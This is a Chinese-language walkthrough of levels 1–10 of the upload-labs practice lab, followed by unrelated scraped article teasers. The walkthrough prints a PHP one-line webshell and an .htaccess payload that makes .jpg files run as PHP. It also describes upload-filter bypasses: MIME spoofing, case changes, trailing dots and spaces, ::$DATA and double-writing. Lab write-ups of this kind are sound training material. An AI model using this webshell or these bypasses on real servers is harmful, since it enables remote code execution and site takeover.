upload-labs靶场：1—10通关教程
目录
Pass-01（JS 验证）
Pass-02（MIME）
Pass-03（黑名单绕过）
Pass-04（.htaccess 绕过）
Pass-05（大小写绕过）
Pass-06（空格绕过）
Pass-07（小数点绕过）
Pass-08（::$DATA 绕过）
Pass-09（小数点和空格结合绕过）
Pass-10（双写绕过）
下载地址：GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场
1.php 内容：
<?php @eval($_POST[cmd]);?>Pass-01（JS 验证）
复制一个 php 文件，重命名 1.jpg
<?php @eval($_POST[cmd]);?>上传，然后拦截数据包，通过burp修改后缀，修改后放包（Burp发送后数据包是已经经过了前端，所以前端校验就会失效），后缀改为php
右键复制图像链接
用蚁剑测试链接
Pass-02（MIME）
提交 抓包 修改后缀为 php
Pass-03（黑名单绕过）
查看源码， 不允许上传.asp,.aspx,.php,.jsp后缀文件
修改 httpd.conf 文件中的这行代码，把前面的#去掉
抓包 修改后缀为 php3
Pass-04（.htaccess 绕过）
黑名单过滤太多，使用 .htaccess 绕过，内容如下，先把 .htaccess 上传，再上传 1.jpg
<FilesMatch "jpg">SetHandler application/x-httpd-php</FilesMatch>
Pass-05（大小写绕过）
查看源码， 上一关的.htaccess文件也过滤掉了，发现没有过滤大小写，本关就用大小写绕过
上传 1.php 一句话木马，抓包修改后缀
Pass-06（空格绕过）
查看源码，大小写被过滤，没有过滤空格，就用空格过滤
上传 1.php 一句话木马，抓包，后缀加一个空格
Pass-07（小数点绕过）
查看源码，大小写被过滤，空格被过滤，没有过滤小数点，就用小数点过滤
上传 1.php 一句话木马，抓包，后缀加个小数点
Pass-08（::$DATA 绕过）
查看源码，小数点 大小写 空格 都被过滤，用 ::$DATA 过滤
上传 1.php 一句话木马，抓包，后缀加 ::$DATA
连接时删掉 ::$DATA
Pass-09（小数点和空格结合绕过）
查看源码，::$DATA 也被过滤，使用结合过滤
上传 1.php 一句话木马，抓包，后缀加 小数点 空格 小数点
Pass-10（双写绕过）
查看源码， str_ireplace()函数 将危险后缀都替换为空，然后尝试用双写绕过
上传 1.php 一句话木马，抓包，修改后缀
相关文章：
upload-labs靶场：1—10通关教程
目录 Pass-01（JS 验证） Pass-02（MIME） Pass-03（黑名单绕过） Pass-04（.htaccess 绕过） Pass-05（大小写绕过） Pass-06（空格绕过） …...
Hive3：一键启动、停止、查看Hive的metastore和hiveserver2两个服务的脚本（好用）
脚本内容 #!/bin/bash # 一键启动、停止、查看Hive的metastore和hiveserver2两个服务的脚本 function start_metastore {# 启动Hive metastore服务hive --service metastore >/dev/null 2>&1 &for i in {1..30}; doif is_metastore_running; thenecho "Hiv…...
遗传算法与深度学习实战——生命模拟及其应用
遗传算法与深度学习实战——生命模拟及其应用 0. 前言1. 康威生命游戏1.1 康威生命游戏的规则1.2 实现康威生命游戏1.3 空间生命和智能体模拟 2. 实现生命模拟3. 生命模拟应用小结系列链接 0. 前言 生命模拟是进化计算的一个特定子集，模拟了自然界中所观察到的自然…...
大数据｜使用Apache Spark 删除指定表中的指定分区数据
文章目录 概述方法 1: 使用 Spark SQL 语句方法 2: 使用 DataFrame API方法 3: 使用 Hadoop 文件系统 API方法 4: 使用 Delta Lake使用注意事项常见相关问题及处理结论 概述 Apache Spark 是一个强大的分布式数据处理引擎，支持多种数据处理模式。在处理大型数据集时…...
OSPF动态路由协议实验
首先地址划分 一个骨干网段分成三个，r1，r2，r5三个环回网段 ，总共要四个网段 192.168.1.0/24 192.168.1.0/26---骨干网段 192.168.1.0/28 192.168.1.16/28 192.168.1.32/28 备用 192.168.1.64/28 192.168.1.64/26---r1环回 192.1…...
tcp中accept()的理解
源码 参数理解 NAMEaccept, accept4 - accept a connection on a socketSYNOPSIS#include <sys/types.h> /* See NOTES */#include <sys/socket.h>int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);#define _GNU_SOURCE …...
让我们逐行重现 GPT-2：第 1 部分
欢迎来到雲闪世界。Andrej Karpathy 是人工智能 (AI) 领域的顶尖研究人员之一。他是 OpenAI 的创始成员之一，曾领导特斯拉的 AI 部门，目前仍处于 AI 社区的前沿。 在第一部分中，我们重点介绍如何实现 GPT-2 的架构。虽然 GPT-2 于 2018 年由 …...
第十九天内容
上午 1、构建vue发行版本 2、java环境配置 jdk软件包路径： https://download.oracle.com/java/22/latest/jdk-22_linux-x64_bin.tar.gz 下午 1、安装tomcat软件 tomcat软件包路径： https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.26/bin/apache-to…...
Hive之扩展函数(UDF)
Hive之扩展函数(UDF) 1、概念讲解 当所提供的函数无法解决遇到的问题时，我们通常会进行自定义函数，即：扩展函数。Hive的扩展函数可分为三种：UDF,UDTF,UDAF。 UDF：一进一出 UDTF：一进多出 UDAF：…...
jdk1.8中HashMap为什么不直接用红黑树
最开始使用链表的时候，空间占用比较少，而且由于链表短，所以查询时间也没有太大的问题。可是当链表越来越长，需要用红黑树的形式来保证查询的效率。 参考资料： https://blog.51cto.com/u_13294304/3075723...
消息推送只会用websocket、轮询？试试SSE，轻松高效。
SSE介绍 HTTP Server-Sent Events (SSE) 是一种基于 HTTP 的服务器推送技术,它允许服务器向客户端推送数据,而无需客户端发起请求。以下是 HTTP SSE 的主要特点: 单向通信: SSE 是一种单向通信协议,服务器可以主动向客户端推送数据,而客户端只能被动接收数据。 持久连接: SS…...
Spring-Retry 框架实战经典重试场景
Spring-Retry框架是Spring自带的功能，具备间隔重试、包含异常、排除异常、控制重试频率等特点，是项目开发中很实用的一种框架。 1、引入依赖 坑点：需要引入AOP，否则会抛异常。 xml <!-- Spring-Retry --> <dependency&…...
人工智能在医疗领域的应用与挑战
随着人工智能技术的不断发展，其在医疗领域的应用也越来越广泛。从辅助诊断到治疗决策，人工智能正在逐步改变着传统的医疗模式。然而，人工智能在医疗领域的应用也面临着诸多挑战，如数据隐私、伦理道德等问题。本文将探讨人工智能在…...
Windows下nmap命令及Zenmap工具的使用方法
一、Nmap简介 nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端，并且推断计算机运行哪个操作系统（这是亦称 fingerprinting）。它是网络管理员必用的软件之一，以及用以评…...
深入了解-什么是CUDA编程模型
CUDA（Compute Unified Device Architecture，统一计算架构）是NVIDIA推出的一种面向GPU的并行计算平台和编程模型。它允许开发者利用NVIDIA的GPU进行通用目的的并行计算，从而加速应用程序的运行速度。CUDA编程模型为开发者提供了强大…...
111111111111111111
11111111111111111111...
环境如何搭建部署Nacos
这里我使用的是Centos7， Nacos 依赖 Java环境来运行。如果您是从代码开始构建并运行Nacos，还需要为此配置 Maven环境，请确保是在以下版本环境中安装使用 ## 1、下载安装JDK wget https://download.oracle.com/java/17/latest/jdk-17_linux-x6…...
什么是 5G？
什么是 5G？ 5G 是第五代无线蜂窝技术，与以前的网络相比，它提供了更高的上传和下载速度、更一致的连接以及更高的容量。5G 比目前流行的 4G 网络更快、更可靠，并有可能改变我们使用互联网访问应用程序、社交网络和信息的方式。例如…...
优化冗余代码：提升前端项目开发效率的实用方法
目录 前言代码复用与组件化模块化开发与代码分割工具辅助与自动化结束语 前言 在前端开发中，我们常常会遇到代码冗余的问题，这不仅增加了代码量，还影响了项目的可维护性和开发效率。还有就是有时候会接到紧急业务需求，要求立马完…...
SpringCloud Alibaba 微服务（四）：Sentinel
目录 前言 一、什么是Sentinel？ Sentinel 的主要特性 Sentinel 的开源生态 二、Sentinel的核心功能 三、Sentinel 的主要优势与特性 1、丰富的流控规则 2、完善的熔断降级机制 3、实时监控和控制台 4、多数据源支持 5、扩展性强 四、Sentinel 与 Hystrix …...
Python 3.12新功能（1）
Python 3.12正式发布已经很久了，我才将主要电脑的Python版本从3.11升级到最新。最近刚好工作没有那么紧张了，就来领略下这个最新版本中的新特性。 改善了错误消息 Python作为一门编程语言，简单易学容易上手，童叟无欺，深…...
c＋＋STL容器中vector的使用，模拟实现及迭代器使用注意事项和迭代器失效问题
目录 前言： 1.vector的介绍及使用 1.2 vector的使用 1.2 1 vector的定义 1.2 2 vector iterator（迭代器）的使用 1.2.3 vector 空间增长问题 1.2.4 vector 增删查改 1.2.5vector 迭代器失效问题。 2.vector模拟实现 2.1 std::vect…...
Android笔试面试题AI答之Activity常见考点
Activity的常见考点可以总结如下： 生命周期管理：理解Activity在不同情况下（如屏幕旋转、配置更改、用户操作等）的生命周期变化，包括但不限于onCreate、onStart、onResume、onPause、onStop和onDestroy等回调方法。 启…...
RK3568笔记四十九：W25Q64驱动开发（硬件SPI1)
若该文为原创文章，转载请注明原文出处。 一、SPI介绍 串行外设接口 (Serial Peripheral interface) 简称 SPI，是一种高速的，全双工，同步的通信总线，并 且在芯片的管脚上只占用四根线，节约了芯片的管脚。 …...
TypeScript 定义不同的类型（详细示例）
还是大剑师兰特：曾是美国某知名大学计算机专业研究生，现为航空航海领域高级前端工程师；CSDN知名博主，GIS领域优质创作者，深耕openlayers、leaflet、mapbox、cesium，canvas，webgl，ech…...
[工具推荐]前端加解密之Burp插件Galaxy
如果觉得该文章有帮助的，麻烦师傅们可以搜索下微信公众号：良月安全。点个关注，感谢师傅们的支持。 免责声明 本号所发布的所有内容，包括但不限于信息、工具、项目以及文章，均旨在提供学习与研究之用。所有工具安全性…...
课题项目结题测试的作用
课题项目结题测试是课题项目研究过程中的一个重要环节，它对于确保课题项目的质量和成果具有重要的作用。本文将详细介绍课题项目结题测试的作用。 一、确保课题项目质量 课题项目结题测试是对课题项目研究成果的全面评估和检测。通过结题测试，可以对课…...
中国工商银行长春分行开展“工驿幸福 健康财富”长辈客群康养活动
中国工商银行长春分行作为国有大行，持续完善有温度、专业化、安全稳健的养老场景服务，以工行驿站为依托、以长辈客群养老需求为中心，积极对接社区构建敬老、康养的“金融泛金融”工行驿站服务生态，进一步提升长辈客群的到店体验。…...
机器学习 第十四章
目录 前言 一、隐马尔可夫模型 二、马尔可夫随机场 三、条件随机场 四、学习和推断 1.变量消去 2.信念传播 五、近似推断 1.MCMC采样 2.变分推断 六、话题模型 总结 前言 机器学习最重要的任务是根据一些已观察到的证据来对感兴趣的未知变量进行估计和推测。概率模…...
未来RPA财税的发展前景
近年来，全球数字化进程持续提速，越来越多企业受到效率及运营成本的压力，正努力寻求企业增长发展的新路径，而财务作为企业战略的“大脑”，成为企业数字化转型的重要突破口。RPA技术由于能够自动化各种重复性和繁琐的任务…...
网站建设管理与政府/百度竞价怎么开户
文章目录1. 自定义登录页面2. 关闭csrf token参考相关文章： Spring Security默认登录页面原理 spring security 自定义登录页面 1. 自定义登录页面 核心是通过配置，覆盖原有默认的登陆页面： //不写这个注解配置不生效 Configuration publi…...
国内包装设计网站/百度浏览器打开
第一次, 写点啥呢? 分享一下订阅的资源吧! 1 <?xml version"1.0" encoding"UTF-8"?>2 3 <opml version"1.0">4 <head>5 <title>建勇 subscriptions in feedly Cloud</title>6 </head>7…...
门户网站cms/百度搜索的优势
在Java 中 除了字段来表示某种类型的基本数据，还有方法来表示类中的请求，或者说是动作。Java中用方法决定了一个对象能接受什么样的信息 做出什么样的动作。 方法的基本组成有 名字 参数 返回值 还有方法体（也就是代码块）下面的是…...
新手如何建立自己网站/会计培训班要多少钱
using System;using System.Collections.Generic;using System.Linq;using System.Text; namespace ConsoleApplication1{ //静态类和普通类的区别 //静态类不能被实例化 //正常的类 class A { internal void M() { Console.WriteLine…...
自己做的网站能联网吗/沈阳关键词seo
一、先对ajaxFileUpload插件的语法参数进行讲解 原理：ajaxfileupload是通过监听iframe的onload方法来实现， 当从服务端处理完成后，就触发iframe的onload事件调用其绑定的方法，在绑定的方法中获取iframe中服务器返回的数据体&#…...
成都网站建设公司开发/seo代码优化步骤
相关函数：stat, open, chmod, chown, setuid, setgid头文件：#include <unistd.h>定义函数：int access(const char * pathname, int mode);函数说明：access()会检查是否可以读/写某一已存在的文件。 参数mode 有几种情况组…...